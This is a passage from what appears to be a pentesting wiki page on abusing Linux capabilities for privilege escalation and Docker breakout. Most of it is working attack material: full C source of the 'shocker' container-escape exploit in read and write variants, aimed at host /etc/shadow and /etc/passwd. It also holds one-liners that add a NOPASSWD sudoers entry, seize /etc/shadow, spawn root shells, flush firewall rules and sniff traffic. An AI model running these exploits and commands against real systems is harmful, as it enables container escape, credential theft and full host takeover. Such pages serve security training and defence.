            ino = de->d_ino;
            break;
        }
    }

    fprintf(stderr, "[*] Brute forcing remaining 32bit. This can take a while...\n");
    if (de) {
        for (uint32_t i = 0; i < 0xffffffff; ++i) {
            outh.handle_bytes = 8;
            outh.handle_type = 1;
            memcpy(outh.f_handle, &ino, sizeof(ino));
            memcpy(outh.f_handle + 4, &i, sizeof(i));
            if ((i % (1<<20)) == 0)
                fprintf(stderr, "[*] (%s) Trying: 0x%08x\n", de->d_name, i);
            if (open_by_handle_at(bfd, (struct file_handle *)&outh, 0) > 0) {
                closedir(dir);
                close(fd);
                dump_handle(&outh);
                return find_handle(bfd, path, &outh, oh);
            }
        }
    }
    closedir(dir);
    close(fd);
    return 0;
}


int main(int argc,char* argv[] )
{
    char buf[0x1000];
    int fd1, fd2;
    struct my_file_handle h;
    struct my_file_handle root_h = {
        .handle_bytes = 8,
        .handle_type = 1,
        .f_handle = {0x02, 0, 0, 0, 0, 0, 0, 0}
    };
    
    fprintf(stderr, "[***] docker VMM-container breakout Po(C) 2014 [***]\n"
    "[***] The tea from the 90's kicks your sekurity again. [***]\n"
    "[***] If you have pending sec consulting, I'll happily [***]\n"
    "[***] forward to my friends who drink secury-tea too! [***]\n\n<enter>\n");
    
    read(0, buf, 1);
    
    // get a FS reference from something mounted in from outside
    if ((fd1 = open("/etc/hostname", O_RDONLY)) < 0)
        die("[-] open");
    
    if (find_handle(fd1, argv[1], &root_h, &h) <= 0)
        die("[-] Cannot find valid handle!");
    
    fprintf(stderr, "[!] Got a final handle!\n");
    dump_handle(&h);
    
    if ((fd2 = open_by_handle_at(fd1, (struct file_handle *)&h, O_RDONLY)) < 0)
        die("[-] open_by_handle");
    
    memset(buf, 0, sizeof(buf));
    if (read(fd2, buf, sizeof(buf) - 1) < 0)
        die("[-] read");
    
    printf("Success!!\n");
    
    FILE *fptr;
    fptr = fopen(argv[2], "w");
    fprintf(fptr,"%s", buf);
    fclose(fptr);
    
    close(fd2); close(fd1);
    
    return 0;
}

{% hint style="warning" %} I exploit needs to find a pointer to something mounted on the host. The original exploit used the file /.dockerinit and this modified version uses /etc/hostname. If the exploit isn't working maybe you need to set a different file. To find a file that is mounted in the host just execute mount command: {% endhint %}

The code of this technique was copied from the laboratory of "Abusing DAC_READ_SEARCH Capability" from https://www.pentesteracademy.com/

{% embed url="https://www.rootedcon.com/" %}

CAP_DAC_OVERRIDE

This mean that you can bypass write permission checks on any file, so you can write any file.

There are a lot of files you can overwrite to escalate privileges, you can get ideas from here.

Example with binary

In this example vim has this capability, so you can modify any file like passwd, sudoers or shadow:

getcap -r / 2>/dev/null
/usr/bin/vim = cap_dac_override+ep

vim /etc/sudoers #To overwrite it

Example with binary 2

In this example python binary will have this capability. You could use python to override any file:

file=open("/etc/sudoers","a")
file.write("yourusername ALL=(ALL) NOPASSWD:ALL")
file.close()

Example with environment + CAP_DAC_READ_SEARCH (Docker breakout)

You can check the enabled capabilities inside the docker container using:

capsh --print
Current: = cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap+ep
Bounding set =cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap
Securebits: 00/0x0/1'b0
 secure-noroot: no (unlocked)
 secure-no-suid-fixup: no (unlocked)
 secure-keep-caps: no (unlocked)
uid=0(root)
gid=0(root)
groups=0(root)

First of all read the previous section that abuses DAC_READ_SEARCH capability to read arbitrary files of the host and compile the exploit.
Then, compile the following version of the shocker exploit that ill allow you to write arbitrary files inside the hosts filesystem:

#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <errno.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <dirent.h>
#include <stdint.h>

// gcc shocker_write.c -o shocker_write
// ./shocker_write /etc/passwd passwd 

struct my_file_handle {
  unsigned int handle_bytes;
  int handle_type;
  unsigned char f_handle[8];
};
void die(const char * msg) {
  perror(msg);
  exit(errno);
}
void dump_handle(const struct my_file_handle * h) {
  fprintf(stderr, "[*] #=%d, %d, char nh[] = {", h -> handle_bytes,
    h -> handle_type);
  for (int i = 0; i < h -> handle_bytes; ++i) {
    fprintf(stderr, "0x%02x", h -> f_handle[i]);
    if ((i + 1) % 20 == 0)
      fprintf(stderr, "\n");
    if (i < h -> handle_bytes - 1)
      fprintf(stderr, ", ");
  }
  fprintf(stderr, "};\n");
} 
int find_handle(int bfd, const char *path, const struct my_file_handle *ih, struct my_file_handle *oh)
{
  int fd;
  uint32_t ino = 0;
  struct my_file_handle outh = {
    .handle_bytes = 8,
    .handle_type = 1
  };
  DIR * dir = NULL;
  struct dirent * de = NULL;
  path = strchr(path, '/');
  // recursion stops if path has been resolved
  if (!path) {
    memcpy(oh -> f_handle, ih -> f_handle, sizeof(oh -> f_handle));
    oh -> handle_type = 1;
    oh -> handle_bytes = 8;
    return 1;
  }
  ++path;
  fprintf(stderr, "[*] Resolving '%s'\n", path);
  if ((fd = open_by_handle_at(bfd, (struct file_handle * ) ih, O_RDONLY)) < 0)
    die("[-] open_by_handle_at");
  if ((dir = fdopendir(fd)) == NULL)
    die("[-] fdopendir");
  for (;;) {
    de = readdir(dir);
    if (!de)
      break;
    fprintf(stderr, "[*] Found %s\n", de -> d_name);
    if (strncmp(de -> d_name, path, strlen(de -> d_name)) == 0) {
      fprintf(stderr, "[+] Match: %s ino=%d\n", de -> d_name, (int) de -> d_ino);
      ino = de -> d_ino;
      break;
    }
  }
  fprintf(stderr, "[*] Brute forcing remaining 32bit. This can take a while...\n");
  if (de) {
    for (uint32_t i = 0; i < 0xffffffff; ++i) {
      outh.handle_bytes = 8;
      outh.handle_type = 1;
      memcpy(outh.f_handle, & ino, sizeof(ino));
      memcpy(outh.f_handle + 4, & i, sizeof(i));
      if ((i % (1 << 20)) == 0)
        fprintf(stderr, "[*] (%s) Trying: 0x%08x\n", de -> d_name, i);
      if (open_by_handle_at(bfd, (struct file_handle * ) & outh, 0) > 0) {
        closedir(dir);
        close(fd);
        dump_handle( & outh);
        return find_handle(bfd, path, & outh, oh);
      }
    }
  }
  closedir(dir);
  close(fd);
  return 0;
}
int main(int argc, char * argv[]) {
  char buf[0x1000];
  int fd1, fd2;
  struct my_file_handle h;
  struct my_file_handle root_h = {
    .handle_bytes = 8,
    .handle_type = 1,
    .f_handle = {
      0x02,
      0,
      0,
      0,
      0,
      0,
      0,
      0
    }
  };
  fprintf(stderr, "[***] docker VMM-container breakout Po(C) 2014 [***]\n"
    "[***] The tea from the 90's kicks your sekurity again. [***]\n"
    "[***] If you have pending sec consulting, I'll happily [***]\n"
    "[***] forward to my friends who drink secury-tea too! [***]\n\n<enter>\n");
  read(0, buf, 1);
  // get a FS reference from something mounted in from outside
  if ((fd1 = open("/etc/hostname", O_RDONLY)) < 0)
    die("[-] open");
  if (find_handle(fd1, argv[1], & root_h, & h) <= 0)
    die("[-] Cannot find valid handle!");
  fprintf(stderr, "[!] Got a final handle!\n");
  dump_handle( & h);
  if ((fd2 = open_by_handle_at(fd1, (struct file_handle * ) & h, O_RDWR)) < 0)
    die("[-] open_by_handle");
  char * line = NULL;
  size_t len = 0;
  FILE * fptr;
  ssize_t read;
  fptr = fopen(argv[2], "r");
  while ((read = getline( & line, & len, fptr)) != -1) {
    write(fd2, line, read);
  }
  printf("Success!!\n");
  close(fd2);
  close(fd1);
  return 0;
}

In order to scape the docker container you could download the files /etc/shadow and /etc/passwd from the host, add to them a new user, and use shocker_write to overwrite them. Then, access via ssh.

The code of this technique was copied from the laboratory of "Abusing DAC_OVERRIDE Capability" from https://www.pentesteracademy.com

CAP_CHOWN

This means that it's possible to change the ownership of any file.

Example with binary

Lets suppose the python binary has this capability, you can change the owner of the shadow file, change root password, and escalate privileges:

python -c 'import os;os.chown("/etc/shadow",1000,1000)'

Or with the ruby binary having this capability:

ruby -e 'require "fileutils"; FileUtils.chown(1000, 1000, "/etc/shadow")'

CAP_FOWNER

This means that it's possible to change the permission of any file.

Example with binary

If python has this capability you can modify the permissions of the shadow file, change root password, and escalate privileges:

python -c 'import os;os.chmod("/etc/shadow",0666)

CAP_SETUID

This means that it's possible to set the effective user id of the created process.

Example with binary

If python has this capability, you can very easily abuse it to escalate privileges to root:

import os
os.setuid(0)
os.system("/bin/bash")

Another way:

import os
import prctl
#add the capability to the effective set
prctl.cap_effective.setuid = True
os.setuid(0)
os.system("/bin/bash")

CAP_SETGID

This means that it's possible to set the effective group id of the created process.

There are a lot of files you can overwrite to escalate privileges, you can get ideas from here.

Example with binary

In this case you should look for interesting files that a group can read because you can impersonate any group:

#Find every file writable by a group
find / -perm /g=w -exec ls -lLd {} \; 2>/dev/null
#Find every file writable by a group in /etc with a maxpath of 1
find /etc -maxdepth 1 -perm /g=w -exec ls -lLd {} \; 2>/dev/null
#Find every file readable by a group in /etc with a maxpath of 1
find /etc -maxdepth 1 -perm /g=r -exec ls -lLd {} \; 2>/dev/null

Once you have find a file you can abuse (via reading or writing) to escalate privileges you can get a shell impersonating the interesting group with:

import os
os.setgid(42)
os.system("/bin/bash")

In this case the group shadow was impersonated so you can read the file /etc/shadow:

cat /etc/shadow

If docker is installed you could impersonate the docker group and abuse it to communicate with the docker socket and escalate privileges.

CAP_SETFCAP

This means that it's possible to set capabilities on files and processes

Example with binary

If python has this capability, you can very easily abuse it to escalate privileges to root:

{% code title="setcapability.py" %}

import ctypes, sys

#Load needed library
#You can find which library you need to load checking the libraries of local setcap binary
# ldd /sbin/setcap
libcap = ctypes.cdll.LoadLibrary("libcap.so.2")

libcap.cap_from_text.argtypes = [ctypes.c_char_p]
libcap.cap_from_text.restype = ctypes.c_void_p
libcap.cap_set_file.argtypes = [ctypes.c_char_p,ctypes.c_void_p]

#Give setuid cap to the binary
cap = 'cap_setuid+ep'
path = sys.argv[1]
print(path)
cap_t = libcap.cap_from_text(cap)
status = libcap.cap_set_file(path,cap_t)

if(status == 0):
    print (cap + " was successfully added to " + path)

{% endcode %}

python setcapability.py /usr/bin/python2.7

{% hint style="warning" %} Note that if you set a new capability to the binary with CAP_SETFCAP, you will lose this cap. {% endhint %}

Once you have SETUID capability you can go to its section to see how to escalate privileges.

Example with environment (Docker breakout)

By default the capability CAP_SETFCAP is given to the proccess inside the container in Docker. You can check that doing something like:

cat /proc/`pidof bash`/status | grep Cap
CapInh: 00000000a80425fb
CapPrm: 00000000a80425fb
CapEff: 00000000a80425fb
CapBnd: 00000000a80425fb
CapAmb: 0000000000000000
                                                                                                                     
capsh --decode=00000000a80425fb         
0x00000000a80425fb=cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap

This capability allow to give any other capability to binaries, so we could think about escaping from the container abusing any of the other capability breakouts mentioned in this page.
However, if you try to give for example the capabilities CAP_SYS_ADMIN and CAP_SYS_PTRACE to the gdb binary, you will find that you can give them, but the binary won’t be able to execute after this:

getcap /usr/bin/gdb
/usr/bin/gdb = cap_sys_ptrace,cap_sys_admin+eip

setcap cap_sys_admin,cap_sys_ptrace+eip /usr/bin/gdb

/usr/bin/gdb
bash: /usr/bin/gdb: Operation not permitted

After investigating I read this: Permitted: This is a limiting superset for the effective capabilities that the thread may assume. It is also a limiting superset for the capabilities that may be added to the inheri‐table set by a thread that does not have the CAP_SETPCAP capability in its effective set.
It looks like the Permitted capabilities limit the ones that can be used.
However, Docker also grants the CAP_SETPCAP by default, so you might be able to set new capabilities inside the inheritables ones.
However, in the documentation of this cap: CAP_SETPCAP : […] add any capability from the calling thread’s bounding set to its inheritable set.
It looks like we can only add to the inheritable set capabilities from the bounding set. Which means that we cannot put new capabilities like CAP_SYS_ADMIN or CAP_SYS_PTRACE in the inherit set to escalate privileges.

CAP_SYS_RAWIO

CAP_SYS_RAWIO provides a number of sensitive operations including access to /dev/mem, /dev/kmem or /proc/kcore, modify mmap_min_addr, access ioperm(2) and iopl(2) system calls, and various disk commands. The FIBMAP ioctl(2) is also enabled via this capability, which has caused issues in the past. As per the man page, this also allows the holder to descriptively perform a range of device-specific operations on other devices.

This can be useful for privilege escalation and Docker breakout.

CAP_KILL

This means that it's possible to kill any process.

Example with binary

Lets suppose the python binary has this capability. If you could also modify some service or socket configuration (or any configuration file related to a service) file, you could backdoor it, and then kill the process related to that service and wait for the new configuration file to be executed with your backdoor.

#Use this python code to kill arbitrary processes
import os
import signal
pgid = os.getpgid(341)
os.killpg(pgid, signal.SIGKILL)

Privesc with kill

If you have kill capabilities and there is a node program running as root (or as a different user)you could probably send it the signal SIGUSR1 and make it open the node debugger to where you can connect.

kill -s SIGUSR1 <nodejs-ps>
# After an URL to access the debugger will appear. e.g. ws://127.0.0.1:9229/45ea962a-29dd-4cdd-be08-a6827840553d

{% content-ref url="electron-cef-chromium-debugger-abuse.md" %} electron-cef-chromium-debugger-abuse.md {% endcontent-ref %}

{% embed url="https://www.rootedcon.com/" %}

CAP_NET_BIND_SERVICE

This means that it's possible to listen in any port (even in privileged ones). You cannot escalate privileges directly with this capability.

Example with binary

If python has this capability it will be able to listen on any port and even connect from it to any other port (some services require connections from specific privileges ports)

{% tabs %} {% tab title="Listen" %}

import socket
s=socket.socket()
s.bind(('0.0.0.0', 80))
s.listen(1)
conn, addr = s.accept()
while True:
        output = connection.recv(1024).strip();
        print(output)

{% endtab %}

{% tab title="Connect" %}

import socket
s=socket.socket()
s.bind(('0.0.0.0',500))
s.connect(('10.10.10.10',500))

{% endtab %} {% endtabs %}

CAP_NET_RAW

CAP_NET_RAW allows a process to be able to create RAW and PACKET socket types for the available network namespaces. This allows arbitrary packet generation and transmission through the exposed network interfaces. In many cases this interface will be a virtual Ethernet device which may allow for a malicious or compromised container to spoof packets at various network layers. A malicious process or compromised container with this capability may inject into upstream bridge, exploit routing between containers, bypass network access controls, and otherwise tamper with host networking if a firewall is not in place to limit the packet types and contents. Finally, this capability allows the process to bind to any address within the available namespaces. This capability is often retained by privileged containers to allow ping to function by using RAW sockets to create ICMP requests from a container.

This means that it's possible to sniff traffic. You cannot escalate privileges directly with this capability.

Example with binary

If the binary tcpdump has this capability you will be able to use it to capture network information.

getcap -r / 2>/dev/null
/usr/sbin/tcpdump = cap_net_raw+ep

Note that if the environment is giving this capability you could also use tcpdump to sniff traffic.

Example with binary 2

The following example is python2 code that can be useful to intercept traffic of the "lo" (localhost) interface. The code is from the lab "The Basics: CAP-NET_BIND + NET_RAW" from https://attackdefense.pentesteracademy.com/

import socket
import struct

flags=["NS","CWR","ECE","URG","ACK","PSH","RST","SYN","FIN"]

def getFlag(flag_value):
    flag=""
    for i in xrange(8,-1,-1):
        if( flag_value & 1 <<i ):
            flag= flag + flags[8-i] + ","
    return flag[:-1]

s = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.htons(3))
s.setsockopt(socket.SOL_SOCKET, socket.SO_RCVBUF, 2**30)
s.bind(("lo",0x0003))

flag=""
count=0
while True:
    frame=s.recv(4096)
    ip_header=struct.unpack("!BBHHHBBH4s4s",frame[14:34])
    proto=ip_header[6]
    ip_header_size = (ip_header[0] & 0b1111) * 4
    if(proto==6):
        protocol="TCP"
        tcp_header_packed = frame[ 14 + ip_header_size : 34 + ip_header_size]
        tcp_header = struct.unpack("!HHLLHHHH", tcp_header_packed)
        dst_port=tcp_header[0]
        src_port=tcp_header[1]
        flag=" FLAGS: "+getFlag(tcp_header[4])

    elif(proto==17):
        protocol="UDP"
        udp_header_packed_ports = frame[ 14 + ip_header_size : 18 + ip_header_size]
        udp_header_ports=struct.unpack("!HH",udp_header_packed_ports)
        dst_port=udp_header[0]
        src_port=udp_header[1]

    if (proto == 17 or proto == 6):
        print("Packet: " + str(count) + " Protocol: " + protocol + " Destination Port: " + str(dst_port) + " Source Port: " + str(src_port) + flag)
        count=count+1

CAP_NET_ADMIN + CAP_NET_RAW

CAP_NET_ADMIN allows the capability holder to modify the exposed network namespaces' firewall, routing tables, socket permissions, network interface configuration and other related settings on exposed network interfaces. This also provides the ability to enable promiscuous mode for the attached network interfaces and potentially sniff across namespaces.

Example with binary

Lets suppose that the python binary has these capabilities.

#Dump iptables filter table rules
import iptc
import pprint
json=iptc.easy.dump_table('filter',ipv6=False)
pprint.pprint(json)

#Flush iptables filter table
import iptc
iptc.easy.flush_table('filter')

CAP_LINUX_IMMUTABLE

This means that it's possible modify inode attributes. You cannot escalate privileges directly with this capability.

Example with binary

If you find that a file is immutable and python has this capability, you can remove the immutable attribute and make the file modifiable:

#Check that the file is imutable
lsattr file.sh 
----i---------e--- backup.sh

#Pyhton code to allow modifications to the file
import fcntl
import os
import struct

FS_APPEND_FL = 0x00000020
FS_IOC_SETFLAGS = 0x40086602

fd = os.open('/path/to/file.sh', os.O_RDONLY)
f = struct.pack('i', FS_APPEND_FL)
fcntl.ioctl(fd, FS_IOC_SETFLAGS, f)

f=open("/path/to/file.sh",'a+')
f.write('New content for the file\n')

{% hint style="info" %} Note that usually this immutable attribute is set and remove using:

sudo chattr +i file.txt
sudo chattr -i file.txt

{% endhint %}

CAP_SYS_CHROOT

CAP_SYS_CHROOT permits the use of the chroot(2) system call. This may allow escaping of any chroot(2) environment, using known weaknesses and escapes:

CAP_SYS_BOOT

CAP_SYS_BOOT allows to use the reboot(2) syscall. It also allows for executing an arbitrary reboot command via LINUX_REBOOT_CMD_RESTART2, implemented for some specific hardware platforms.

This capability also permits use of the kexec_load(2) system call, which loads a new crash kernel and as of Linux 3.17, the kexec_file_load(2) which also will load signed kernels.

CAP_SYSLOG

CAP_SYSLOG was finally forked in Linux 2.6.37 from the CAP_SYS_ADMIN catchall, this capability allows the process to use the syslog(2) system call. This also allows the process to view kernel addresses exposed via /proc and other interfaces when /proc/sys/kernel/kptr_restrict is set to 1.

The kptr_restrict sysctl setting was introduced in 2.6.38, and determines if kernel addresses are exposed. This defaults to zero (exposing kernel addresses) since 2.6.39 within the vanilla kernel, although many distributions correctly set the value to 1 (hide from everyone accept uid 0) or 2 (always hide).

In addition, this capability also allows the process to view dmesg output, if the dmesg_restrict setting is 1. Finally, the CAP_SYS_ADMIN capability is still permitted to perform syslog operations itself for historical reasons.

CAP_MKNOD

CAP_MKNOD allows an extended usage of mknod by permitting creation of something other than a regular file (S_IFREG), FIFO (named pipe)(S_IFIFO), or UNIX domain socket (S_IFSOCK). The special files are:

S_IFCHR (Character special file (a device like a terminal))
S_IFBLK (Block special file (a device like a disk)).

It is a default capability (https://github.com/moby/moby/blob/master/oci/caps/defaults.go#L6-L19).

This capability permits to do privilege escalations (through full disk read) on the host, under these conditions:

Have initial access to the host (Unprivileged).
Have initial access to the container (Privileged (EUID 0), and effective CAP_MKNOD).
Host and container should share the same user namespace.

Steps :

On the host, as a standard user:
1. Get the current UID (id). For example: uid=1000(unprivileged).
2. Get the device you want to read. For exemple: /dev/sda
On the container, as root:

# Create a new block special file matching the host device
mknod /dev/sda b
# Configure the permissions
chmod ug+w /dev/sda
# Create the same standard user than the one on host
useradd -u 1000 unprivileged
# Login with that user
su unprivileged

Back on the host:

# Find the PID linked to the container owns by the user "unprivileged"
# Example only (Depends on the shell program, etc.). Here: PID=18802.
$ ps aux | grep -i /bin/sh | grep -i unprivileged
unprivileged        18802  0.0  0.0   1712     4 pts/0    S+   15:27   0:00 /bin/sh

# Because of user namespace sharing, the unprivileged user have access to the container filesystem, and so the created block special file pointing on /dev/sda
head /proc/18802/root/dev/sda

The attacker can now read, dump, copy the device /dev/sda from unprivileged user.

CAP_SETPCAP

CAP_SETPCAP is a Linux capability that allows a process to modify the capability sets of another process. It grants the ability to add or remove capabilities from the effective, inheritable, and permitted capability sets of other processes. However, there are certain restrictions on how this capability can be used.

A process with CAP_SETPCAP can only grant or remove capabilities that are in its own permitted capability set. In other words, a process cannot grant a capability to another process if it does not have that capability itself. This restriction prevents a process from elevating the privileges of another process beyond its own level of privilege.

Moreover, in recent kernel versions, the CAP_SETPCAP capability has been further restricted. It no longer allows a process to arbitrarily modify the capability sets of other processes. Instead, it only allows a process to lower the capabilities in its own permitted capability set or the permitted capability set of its descendants. This change was introduced to reduce potential security risks associated with the capability.

To use CAP_SETPCAP effectively, you need to have the capability in your effective capability set and the target capabilities in your permitted capability set. You can then use the capset() system call to modify the capability sets of other processes.

In summary, CAP_SETPCAP allows a process to modify the capability sets of other processes, but it cannot grant capabilities that it doesn't have itself. Additionally, due to security concerns, its functionality has been limited in recent kernel versions to only allow reducing capabilities in its own permitted capability set or the permitted capability sets of its descendants.

References

Most of these examples were taken from some labs of https://attackdefense.pentesteracademy.com/, so if you want to practice this privesc techniques I recommend these labs.

Other references:

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Linux Capabilities

Why capabilities?

Capabilities Sets

Processes & Binaries Capabilities

Processes Capabilities

Binaries Capabilities

Dropping capabilities with capsh

Remove Capabilities

User Capabilities

Environment Capabilities

Capability-aware/Capability-dumb binaries

Service Capabilities

Capabilities in Docker Containers

Privesc/Container Escape

Exploitation example

The special case of "empty" capabilities

CAP_SYS_ADMIN

CAP_SYS_PTRACE

CAP_SYS_MODULE

CAP_DAC_READ_SEARCH

CAP_DAC_OVERRIDE

CAP_CHOWN

CAP_FOWNER

CAP_SETUID

CAP_SETGID

CAP_SETFCAP

CAP_SYS_RAWIO

CAP_KILL

CAP_NET_BIND_SERVICE

CAP_NET_RAW

CAP_NET_ADMIN + CAP_NET_RAW

CAP_LINUX_IMMUTABLE

CAP_SYS_CHROOT

CAP_SYS_BOOT

CAP_SYSLOG

CAP_MKNOD

CAP_SETPCAP

References

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